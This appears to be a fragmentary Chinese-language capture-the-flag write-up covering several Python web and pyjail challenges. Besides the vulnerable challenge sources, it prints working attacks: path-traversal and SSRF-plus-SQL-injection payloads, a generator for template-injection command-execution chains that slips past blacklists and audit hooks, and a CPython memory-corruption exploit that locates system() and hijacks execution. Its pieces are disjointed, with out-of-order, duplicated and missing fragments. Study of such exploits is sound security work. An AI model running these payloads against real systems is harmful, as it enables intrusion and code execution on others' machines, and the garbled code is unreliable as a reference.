# -*- encoding: utf-8 -*- ''' @File : main.py @Time : 2025/03/28 22:20:49 @Author : LamentXU ''' ''' flag in /flag_{uuid4} ''' from bottle import Bottle, request, response, redirect, static_file, run, route try: with open('../../secret.txt', 'r') as f: secret = f.read() except: print("No secret file found, using default secret") secret = "secret" app = Bottle() @route('/') def index(): return '''HI''' @route('/download') def download(): name = request.query.filename if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name: response.status = 403 return 'Forbidden' with open(name, 'rb') as f: data = f.read() return data
@route('/secret') def secret_page(): try: session = request.get_cookie("name", secret=secret) if not session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return 'Forbidden!' if session["name"] == "admin": return 'The secret has been deleted!' except: return "Error!" run(host='0.0.0.0', port=5000, debug=False)
路径穿越
可以看到存在download路由:
1 2 3 4 5 6 7 8
def download(): name = request.query.filename if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name: response.status = 403 return 'Forbidden' with open(name, 'rb') as f: data = f.read() return data
这里只是禁止了两个连在一起的../../和开头的../直接用./绕过即可。payload:
1
/download?filename=./.././.././../secret.txt
读取到secret.txt
1
Hell0_H@cker_Y0u_A3r_Sm@r7
pickle反序列化
可以看到有一个secret理由,如下:
1 2 3 4 5 6 7 8 9 10 11
def secret_page(): try: session = request.get_cookie("name", secret=secret) if not session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return 'Forbidden!' if session["name"] == "admin": return 'The secret has been deleted!' except: return "Error!"
我们来看get_cookie的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) if secret: # See BaseResponse.set_cookie for details on signed cookies. if value and value.startswith('!') and '?' in value: sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): dst = pickle.loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default return value or default
p = [payload[i:i+3] for i in range(0,len(payload),3)] flag = True for i in p: if flag: tmp = f'\n%import os;os.a="{i}"' flag = False else: tmp = f'\n%import os;os.a+="{i}"' r = requests.get(url,params={"payload":tmp})
r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"}) r = requests.get(url,params={"payload":"\n%include('123')"}).text print(r)
def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") found = cur.fetchone() return None if found is None else found[0]
@app.route('/api/search', methods=['POST']) def api_search(): req = flask.request.get_json() if 'code' not in req: flask.abort(400, "Empty country code")
code = req['code'] if len(code) != 2 or "'" in code: flask.abort(400, "Invalid country code")
name = db_search(code) if name is None: flask.abort(404, "No such country")
#!/usr/bin/env python3 import flask import sqlite3 import requests import string import json app = flask.Flask(__name__) blacklist = string.ascii_letters def binary_to_string(binary_string): if len(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output
@app.route('/proxy', methods=['GET']) def nolettersproxy(): url = flask.request.args.get('url') if not url: return flask.abort(400, 'No URL provided') target_url = "http://lamentxu.top" + url for i in blacklist: if i in url: return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') if "." in target_url: return flask.abort(403, 'No ssrf allowed') response = requests.get(target_url)
return flask.Response(response.content, response.status_code) def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") found = cur.fetchone() return None if found is None else found[0]
@app.route('/1337', methods=['GET']) def api_search(): if flask.request.remote_addr == '127.0.0.1': code = flask.request.args.get('0') if code == 'abcdefghi': req = flask.request.args.get('1') try: req = binary_to_string(req) print(req) req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;) except: flask.abort(400, "Invalid JSON") if 'name' not in req: flask.abort(400, "Empty Person's name")
name = req['name'] if len(name) > 6: flask.abort(400, "Too long") if '\'' in name: flask.abort(400, "NO '") if ')' in name: flask.abort(400, "NO )") """ Some waf hidden here ;) """
fate = db_search(name) if fate is None: flask.abort(404, "No such Person")
return {'Fate': fate} else: flask.abort(400, "Hello local, and hello hacker") else: flask.abort(403, "Only local access allowed")
Fate = [ ('JOHN', '1994-2030 Dead in a car accident'), ('JANE', '1990-2025 Lost in a fire'), ('SARAH', '1982-2017 Fired by a government official'), ('DANIEL', '1978-2013 Murdered by a police officer'), ('LUKE', '1974-2010 Assassinated by a military officer'), ('KAREN', '1970-2006 Fallen from a cliff'), ('BRIAN', '1966-2002 Drowned in a river'), ('ANNA', '1962-1998 Killed by a bomb'), ('JACOB', '1954-1990 Lost in a plane crash'), ('LAMENTXU', r'2024 Send you a flag flag{fake}') ]
{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}
拼接后的sql语句为
1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))
即可成功注入。
接下来将传入的数据编码,脚本如下:
1 2 3 4 5
def string_to_binary(input_string): binary_list = [format(ord(char), '08b') for char in input_string] binary_string = ''.join(binary_list) return binary_string print(string_to_binary("""{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}"""))
然后打就完了。
1
GET /proxy?url=@2130706433:8080/1337?1=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101%260=%2561%2562%2563%2564%2565%2566%2567%2568%2569
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:10:37 @Author : LamentXU ''' import flask import sys enable_hook = False counter = 0 def audit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event)
lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "g|a", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referer", "The closer you see, the lesser you find."] # I hate all these. app = flask.Flask(__name__) @app.route('/') def index(): return 'try /H3dden_route' @app.route('/H3dden_route') def r3al_ins1de_th0ught(): global enable_hook, counter name = flask.request.args.get('My_ins1de_w0r1d') if name: try: if name.startswith("Follow-your-heart-"): for i in lock_within: if i in name: return 'NOPE.' enable_hook = True a = flask.render_template_string('{#'+f'{name}'+'#}') enable_hook = False counter = 0 return a else: return 'My inside world is always hidden.' except RuntimeError as e: counter = 0 return 'NO.' except Exception as e: return 'Error' else: return 'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
arg_count = 0 for i in required_encoding: print(i) if i not in encoded_payloads: p = [] for j in i: if j == '_': p.append('k.2') elif j == ' ': p.append('k.3') elif j == '.': p.append('k.4') elif j == '-': p.append('k.5') elif j.isnumeric(): a = str(ord(j)-ord('0')+offset_0) p.append(f'k.{a}') elif j == '/': p.append('k.68') else: a = str(ord(j)-ord('a')+offset_a) p.append(f'k.{a}') arg_name = f'a{arg_count}' encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}' encoded_payloads[i] = (arg_name, encoded_arg) arg_count+=1 payload.append(encoded_arg) # print(encoded_payloads) fully_encoded_payload = payloadstr for i in encoded_payloads.keys(): if i in fully_encoded_payload: fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0]) # print(fully_encoded_payload) payload.append(fully_encoded_payload) command = "whoami" payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}') word_data = '' endpoint = 'r3al_ins1de_th0ught' for i in 'data': word_data += 'i.' + str(endpoint.find(i)) + '~' word_data = word_data[:-1] # delete the last '~' # Now we have "data" print("data: "+word_data) payload.append(r'{%set%0adat='+word_data+'%}') payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}') generate_rce_command(command) # payload.append(r'{%print(j)%}') # Here we use the "data" to construct the payload print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/') # use chr() to convert the number to character # hiahiahia~ Now we get all of the charset, SSTI go go go!
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:20:49 @Author : LamentXU ''' # DNS config: No reversing shells for you. import flask import time, random, traceback import flask import sys import traceback enable_hook = False counter = 0 def audit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event) lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referer", "Isn't that enough? Isn't that enough."] # lock_within = [] allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"] app = flask.Flask(__name__) @app.route('/') def index(): return 'try /H3dden_route' @app.route('/H3dden_route') def r3al_ins1de_th0ught(): quote = flask.request.args.get('spell') if quote: try: if quote.startswith("fly-"): for i in lock_within: if i in quote: print(i) return "wouldn't it be easier to give in?" time.sleep(random.randint(10, 30)/10) # No time based injections. flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}') print("Registered endpoints and functions:") for endpoint, func in app.view_functions.items(): if endpoint not in allowed_endpoint: del func # No creating backdoor functions & endpoints. return f'What are you doing with {endpoint} hacker?' return 'Let the true magic begin!' else: return 'My inside world is always hidden.' except Exception as e: return traceback.format_exc() else: return 'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
arg_count = 0 for i in required_encoding: print(i) if i not in encoded_payloads: p = [] for j in i: if j == '_': p.append('k.2') elif j == ' ': p.append('k.3') elif j == '.': p.append('k.4') elif j == '-': p.append('k.5') elif j.isnumeric(): a = str(ord(j)-ord('0')+offset_0) p.append(f'k.{a}') elif j == '/': p.append('k.68') elif ord(j) >= ord('a') and ord(j) <= ord('z'): a = str(ord(j)-ord('a')+offset_a) p.append(f'k.{a}') elif ord(j) >= ord('A') and ord(j) <= ord('Z'): a = str(ord(j)-ord('A')+offset_A) p.append(f'k.{a}') arg_name = f'a{arg_count}' encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}' encoded_payloads[i] = (arg_name, encoded_arg) arg_count+=1 payload.append(encoded_arg) # print(encoded_payloads) fully_encoded_payload = payloadstr for i in encoded_payloads.keys(): if i in fully_encoded_payload: fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0]) # print(fully_encoded_payload) payload.append(fully_encoded_payload) command = "whoami" full_payload = '''{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('" + cmd + "')|attr('read')())%}''' endpoint = "r3al_ins1de_thought" payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}') word_data = '' for i in 'data': word_data += 'i.' + str(endpoint.find(i)) + '~' word_data = word_data[:-1] # delete the last '~' # Now we have "data" print("data: "+word_data) payload.append(r'{%set%0adat='+word_data+'%}') payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}') generate_rce_command(command) # payload.append(r'{%print(j)%}') # Here we use the "data" to construct the payload print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/') # use chr() to convert the number to character # hiahiahia~ Now we get all of the charset, SSTI go go go!
import math import random from secret import level1,level2,level3 def menu(): print("1.Play") print("2.Rules") print("3.Quit") def rule(): print("There are 3 levels, level 1/2/3 has number 1 to 50/100/200 on board to choose from") print("Each number you choose, you get the corresponding points") print("However, your opponent will choose all the factors of the number you choose, and get the points of each factor") print("You can not choose numbers that are already assigned to a player") print("You are only allow to choose the number if it has at least one factor not choosen") print("If you can't choose anymore, the rest of the board goes to your opponent") print(f"To make the challenge harder, there is a counter that starts with {len(level1)}/{len(level2)}/{len(level3)} in level 1/2/3, each time you choose a number, the counter decreases by 1") print("When it reaches 0, and the game will end, and the unassigned numbers will go to your opponent") print("The challenge is always solvable") print("Player with highest score wins") print("Good Luck!")
def choosable(num): for i in range(1,len(num)): if num[i]==0: for j in range(1,i//2+1): if num[j]==0 and i%j==0: return True
return False
def can(arr,num): for j in range(1,num//2+1): if arr[j]==0 and num%j==0: return True return False
def game(level): player=0 opp=0 num=[0 for _ in range(level+1)] print("Level",level) if level==50: counter = len(level1) elif level==100: counter = len(level2) elif level==200: counter = len(level3) while choosable(num): num_list = [i for i in range(1,level+1) if num[i]==0] print("Unassigned Numbers:",num_list) print("Counter:", counter) print("Your Score:", player) print("Opponent Score:", opp) try: choice=int(input("Choose a Number:")) except ValueError: print("Invalid Input!") continue if choice<=0 or choice>level: print("BAD CHOICE!") elif num[choice]==0 and can(num,choice): num[choice]=1 player+=choice for i in range(1, choice//2+1): if num[i] == 0 and choice % i == 0: num[i] = 1 opp += i counter -= 1 if counter == 0: break else: if not num[choice]==0: print(f"BAD CHOICE! The number {choice} has already been assigned!") else: print(f"BAD CHOICE! All factors of the number {choice} has been assigned!") for i in range(1,level+1): if num[i]==0: num[i]= 1 opp+=i print("Your Score:", player) print("Opponent Score:", opp) if player>opp: print("You Win!") return True else: print("You Lost!") return False
print("Welcome to the Greedy Game") print("Your goal is to be as greedy as possible") while True: menu() choice=int(input()) if choice==1: flag=True for i in range(3): print("Level "+str(i+1)+"/"+"3",25*i**2+25*i+50,"Numbers") if not game(25*i**2+25*i+50): flag=False break if flag: with open('flag.txt', 'r') as f: print("Congratulations!, Here's Your Flag " + f.read()) exit() elif choice==2: rule() elif choice==3: exit() else: print("HEY!")
def get_divisors(n, available_numbers): divisors = [d for d in range(1, n) if n % d == 0 and d in available_numbers] return divisors def taxman_game(max_num): ans=[] available_numbers = set(range(1, max_num + 1)) player_score = 0 taxman_score = 0
while available_numbers:
best_move = None best_divisors = [] best_difference = float('-inf') for number in available_numbers: divisors = get_divisors(number, available_numbers) if not divisors: continue divisor_sum = sum(divisors) difference = number - divisor_sum
if difference > best_difference: best_move = number best_divisors = divisors best_difference = difference if best_move is None: break player_score += best_move taxman_score += sum(best_divisors) available_numbers.remove(best_move) for divisor in best_divisors: available_numbers.remove(divisor) ans.append(best_move) taxman_score += sum(available_numbers) available_numbers.clear() return ans def solve(num): ans = taxman_game(num) for i in ans: io.recvuntil('Choose a Number:') io.sendline(str(i)) io.recvuntil('You Win!') solve(50) solve(100) solve(200)
def main(): Sock = SimpleTCP(password='LetsLament') Sock.s.bind(('0.0.0.0', 13337)) Sock.s.listen(5) while True: _ = Sock.accept() Sock.send('Hello, THE flag speaking.') Sock.send('I will not let you to control Lament Jail forever.') Sock.send('But, my friend LamentXU has to control it, as he will rescue me out of this jail.') Sock.send('So here is the pyJail I build. Only LamentXU knows how to break it.') a = Sock.recvfile().decode() waf = ''' import sys def audit_checker(event,args): if not 'id' in event: raise RuntimeError sys.addaudithook(audit_checker)
''' content = waf + a name = uuid4().hex+'.py' with open(name, 'w') as f: f.write(content) try: cmd = ["python3", name] p = Popen(cmd, stdout=PIPE, stderr=PIPE) for line in iter(p.stdout.readline, b''): Sock.send(line.decode('utf-8').strip()) p.wait() Sock.send('Done, BYE.') except: Sock.send('Error.') finally: Sock.s.close() remove(name) if __name__ == '__main__': while True: try: main() except: pass
def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM , proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None: ''' is_encrypted: use encrypted connection, only for server AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed if password is set in server, every time a client connect, the client must send the same password back to the server to accept. if password is set in client, every time you connect to the server, the password will be sent to the server to verify. if password is None, no password will be used. self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle ''' self.BLOCK_SIZE = 16 # block size of padding text which will be encrypted by AES # the block size must be a mutiple of 8 self.default_encoder = 'utf8' # the default encoder used in send and recv when the message is not bytes if is_encrypted: if AES_key == None: self.key = get_random_bytes(16) # generate 16 bytes AES code else: self.key = AES_key #TODO check the input self.cipher_aes = AES.new(self.key, AES.MODE_ECB) else: self.key, self.cipher_aes = None, None self.default_message_len = 1024 # length of some basic message, it's best not to go below 1024 bytes if password == None: self.password = None else: self.password = self.turn_to_bytes(password) if len(password) > 100: raise ValueError('The password is too long, it must be smaller than 100 bytes') self.s = socket(family, type, proto, fileno) # main socket
def accept(self) -> tuple: ''' Accept with information exchange and key exchange, return the address of the client if the password from client is wrong or not set, raise PasswordError ''' self.s, address = self.s.accept() if self.key == None: is_encrypted = False else: is_encrypted = True if self.password == None: has_password = False else: has_password = True info_dict = { 'is_encrypted' : is_encrypted, 'has_password' : has_password} info_dict = dumps(info_dict).encode(encoding=self.default_encoder) self.s.send(self.turn_to_bytes(len(info_dict))) self.s.send(info_dict) if has_password: password_length = self.unpadding_packets(self.s.recv(3), -1) if not password_length: self.s.close() raise PasswordError(f'The client {address} does not send the password, the connection will be closed') recv_password = self.s.recv(int(password_length.decode(encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes if recv_password != self.password or recv_password[0] == b'0': self.s.send(b'0') self.s.close() raise PasswordError(f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting') else: self.s.send(b'1') if is_encrypted: public_key = self.s.recv(450) rsa_public_key = RSA.import_key(public_key) cipher_rsa = PKCS1_OAEP.new(rsa_public_key) encrypted_aes_key = cipher_rsa.encrypt(self.key) self.s.send(encrypted_aes_key) # TODO return address
def connect(self, Address: tuple) -> None: ''' Connect with information exchange and key exchange if the password from client is wrong or not set, raise PasswordError ''' self.s.connect(Address) info_dict_len = int(self.s.recv(2).decode(encoding=self.default_encoder)) info_dict = self.s.recv(info_dict_len).decode(encoding=self.default_encoder) info = loads(info_dict) if info['has_password'] == True: if self.password == None: self.s.send(b' ') # send three space to tell the server that the password is not set self.s.close() raise PasswordError('The server requires a password, please set it in the client or server') self.s.send(str(len(self.password)).encode(encoding=self.default_encoder)) self.s.send(self.password) password_confirm = self.s.recv(1) if password_confirm != b'1': self.s.close() raise PasswordError('The password is wrong, the connection will be closed')
def connect(self, Address: tuple) -> None: ''' Connect with information exchange and key exchange if the password from client is wrong or not set, raise PasswordError ''' self.s.connect(Address) info_dict_len = int(self.s.recv(2).decode(encoding=self.default_encoder)) info_dict = self.s.recv(info_dict_len).decode(encoding=self.default_encoder) info = loads(info_dict) if info['has_password'] == True: if self.password == None: self.s.send(b' ') # send three space to tell the server that the password is not set self.s.close() raise PasswordError('The server requires a password, please set it in the client or server') self.s.send(str(len(self.password)).encode(encoding=self.default_encoder)) self.s.send(self.password) password_confirm = self.s.recv(1) if password_confirm != b'1': self.s.close() raise PasswordError('The password is wrong, the connection will be closed') if info['is_encrypted'] == True: tmp_key = RSA.generate(2048) private_key = tmp_key.export_key() public_key = tmp_key.publickey().export_key() self.s.send(public_key) rsa_private_key = RSA.import_key(private_key) cipher_rsa = PKCS1_OAEP.new(rsa_private_key) encrypted_aes = self.s.recv(256).rstrip(b"\x00") self.key = cipher_rsa.decrypt(encrypted_aes) self.cipher_aes = AES.new(self.key, AES.MODE_ECB) else: self.key, self.cipher_aes = None, None
至此,我们完成了密钥的交换,拿到了服务器的AES密钥。接下来,我们实现加密通讯的收发包部分。
socket编程——基本收发包
可以看到服务器使用自定义的send和recvfile函数进行信息传输。我们来查看代码:
针对send实现recv
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
def send(self, message) -> None: ''' Send a message with the socket can accept bytes, str, int, etc. The data should not be larger than 9999 bytes It can be used at any time Use self.send_large and recv_large if you want to send a big message ''' message = self.turn_to_bytes(message) try: message_len = self.padding_packets( self.turn_to_bytes(len(message)), target_length=4)[0] except MessageLengthError: raise MessageLengthError( 'The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(str(len(message)))) self._send(message_len) self._send(message)
跟进这个_send函数
1 2 3 4 5 6 7 8 9 10 11
def _send(self, message: bytes) -> None: ''' The basic method to encrypt and send data MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE ''' if self.cipher_aes != None: output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE)) # plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE) else: output_message = message self.s.send(output_message) # The TCP mode
def recv(self, is_decode: bool = True): ''' The return type can be bytes or string The method to recv message WHICH IS SENT BY self.send is_decode : decode the message with {self.default_encoder} ''' message_len = self._recv(4).rstrip() message_len = int(message_len.decode(encoding=self.default_encoder)) message = self._recv(message_len) if is_decode: message = message.decode(encoding=self.default_encoder) return message
可以看到我们已经可以正常接收信息了
针对recvfile实现sendfile
审计recvfile函数,如下:
1 2 3 4 5 6 7 8 9 10 11 12
def recvfile(self) -> bytes: ''' Only receive file sent using self.send_largefile ''' output = b'' while True: a = self.recv_large(is_decode=False) if a != 'EOF'.encode(encoding=self.default_encoder): output += a else: break return output
def recv_large(self, is_decode: bool = True): ''' The return type can be bytes or string The method to recv message WHICH IS SENT BY self.send_large is_decode : decode the message with {self.default_encoder} ''' message_listlen = self._recv(self.default_message_len).decode( encoding=self.default_encoder).rstrip() message_listlen = int(message_listlen) message = b'' for i in range(0, message_listlen): mes = self._recv(self.default_message_len) if i == message_listlen - 1: mes_padnum = int(self._recv(self.default_message_len).decode( encoding=self.default_encoder)) else: mes_padnum = 0 mes = self.unpadding_packets(mes, mes_padnum) message += mes message = decompress(message) if is_decode: message = message.decode(encoding=self.default_encoder) return message
def unpadding_packets(self, data: bytes, pad_num: int) -> bytes: ''' Delete the blank bytes at the back of the message pad_num : number of the blank bytes pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok) ''' if pad_num == -1: data = data.rstrip() else: while pad_num > 0 and data[-1:] == b' ': data = data[:-1] pad_num -= 1 return data def padding_packets(self, message: bytes, target_length: int = None) -> tuple: ''' Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode The packet must be smaller then {target_length} target_length = None : use self.default_message_len ''' message = self.turn_to_bytes(message) if target_length == None: target_length = self.default_message_len if len(message) > target_length: raise MessageLengthError( 'the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(str(len(message)), target_length)) pad_num = target_length-len(message) message += b' ' * pad_num return (message, pad_num)
def sendfile(self, file_location: str) -> None: ''' Send a file with the socket THE LOCATION MUST BE A FILE, NOT A DIR {self.default_message_len} bytes are read and sent in a single pass ''' if path.exists(file_location) and not path.isdir(file_location): with open(file_location, 'rb') as file: self.send_large(file.read()) self.send_large('EOF') # Must to use send large, but this is bad else: raise FileExistsError( 'the file {} does not exist or it is a dir'.format(file_location))
def send_large(self, message) -> None: ''' Send message with the socket can accept bytes, str, int, etc. every non-bytes message will be encoded with self.default_encoder Every packet is forced to be filled to {self.default_message_len} bytes ''' message = self.turn_to_bytes(message) message = compress(message) message_list = [message[i:i + self.default_message_len] for i in range(0, len(message), self.default_message_len)] message_list_len = len(message_list) self._send(self.padding_packets( self.turn_to_bytes(message_list_len))[0]) message_index = 0 for message in message_list: message_padded = self.padding_packets(message) message = message_padded[0] self._send(message) message_index += 1 if message_index == message_list_len: pad_num = message_padded[1] self._send(self.padding_packets( self.turn_to_bytes(str(pad_num)))[0])
def set_rip(self, addr, obj_refcount=0x10): """Set rip by using a fake object and associated type object.""" # Fake type object type_obj = flat( p64(0xac1dc0de), # refcount b'X'*0x68, # padding p64(addr)*100, # vtable funcs ) self.no_gc.append(type_obj)
# Fake PyObject data = flat( p64(obj_refcount), # refcount p64(id(type_obj)), # pointer to fake type object ) self.no_gc.append(data)
# The bytes data starts at offset 32 in the object self.freed_buffer[0] = id(data) + 32
try: # Now we trigger it. This calls tp_getattro on our fake type object self.fake_objs[0].trigger except: # Avoid messy error output when we exit our shell pass
def find_bin_base(self): # Leak tp_dealloc pointer of PyLong_Type which points into the Python # binary. leak = self.leak(id(int), 32) cpython_binary_ptr = u64(leak[24:32]) addr = (cpython_binary_ptr >> 12) << 12 # page align the address # Work backwards in pages until we find the start of the binary for i in range(10000): nxt = self.leak(addr, 4) if nxt == b'\x7fELF': return addr addr -= PAGE_SIZE return None
def find_system(self): """ Return either the address of the system PLT stub, or the address of system itself if the binary is full RELRO. """ bin_base = self.find_bin_base() data = self.leak(bin_base, 0x1000)
if got is None or strtab is None or symtab is None or rela is None or \ init is None: print("[!!] Missing required info in .dynamic") return None if is_pie: init += bin_base
# Walk the relocation table, for each entry we read the relevant symtab # entry and then strtab entry to get the function name. rela_data = e.leak(rela, 0x1000) i = 0 while True: off = i * 24 r_info = u64(rela_data[off + 8:off + 16]) symtab_idx = r_info >> 32 # ELF64_R_SYM symtab_entry = e.leak(symtab + symtab_idx * 24, SIZEOF_ELF64_SYM) strtab_off = u32(symtab_entry[0:4]) name = e.leak(strtab + strtab_off, 6) if name == b'system': print('[*] Found system at rela index {}'.format(i)) system_idx = i break i += 1 # Leak start of GOT data to determine if we're full RELRO got_data = self.leak(got, 32) link_map = u64(got_data[8:16]) dl_runtime_resolve = u64(got_data[16:24])
if link_map == 0 and dl_runtime_resolve == 0: # The binary is likely full RELRO, which means system will already # be resolved in the GOT. print('[*] Full RELRO binary, reading system address from GOT') system_got = 24 + got + system_idx*8 func = u64(self.leak(system_got, 8)) print('[*] system: {}'.format(hex(func))) return func
# Find the PLT. We know it is always placed after the init function, so # scan forwards looking for the first opcode of PLT. init_data = self.leak(init, 64) plt_offset = None for i in range(0, len(init_data), 2): if init_data[i:i+2] == b'\xff\x35': # push [rip+offset] plt_offset = i break
if plt_offset is None: print('[!!] Start of PLT not found') return None
plt = init + plt_offset + 16 # skip first PLT entry which is resolver
# PLT stubs are in the same order as rela entries, so we can use the # known system index to calculate the address of the system PLT stub. system_plt = plt + system_idx*SIZEOF_PLT_STUB print('[*] system plt: {}'.format(hex(system_plt))) return system_plt
def __init__(self): # Trigger bug global view f = io.BufferedReader(File()) f.read(1) del f view = view.cast('P')
e = Exploit() system = e.find_system() # When we get rip control rdi contains a pointer to our fake object, who's first # 8 bytes are its refcount. We can repurpose the refcount as our command to # system. Note the refcount is incremented by 1 before the call, which is why we # decrement the first character. e.set_rip(system, obj_refcount=u64(b'\x2ebin/rf\x00'))
from pathlib import Path from os import path, listdir from time import sleep from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from random import uniform from zlib import compress, decompress from json import dumps, loads
''' Definate all the errors ''' class MessageLengthError(Exception): def __init__(self, message) -> None: self.message = message
class PasswordError(Exception): def __init__(self, message) -> None: self.message = message class SimpleTCP(): ''' The main class when using TCP '''
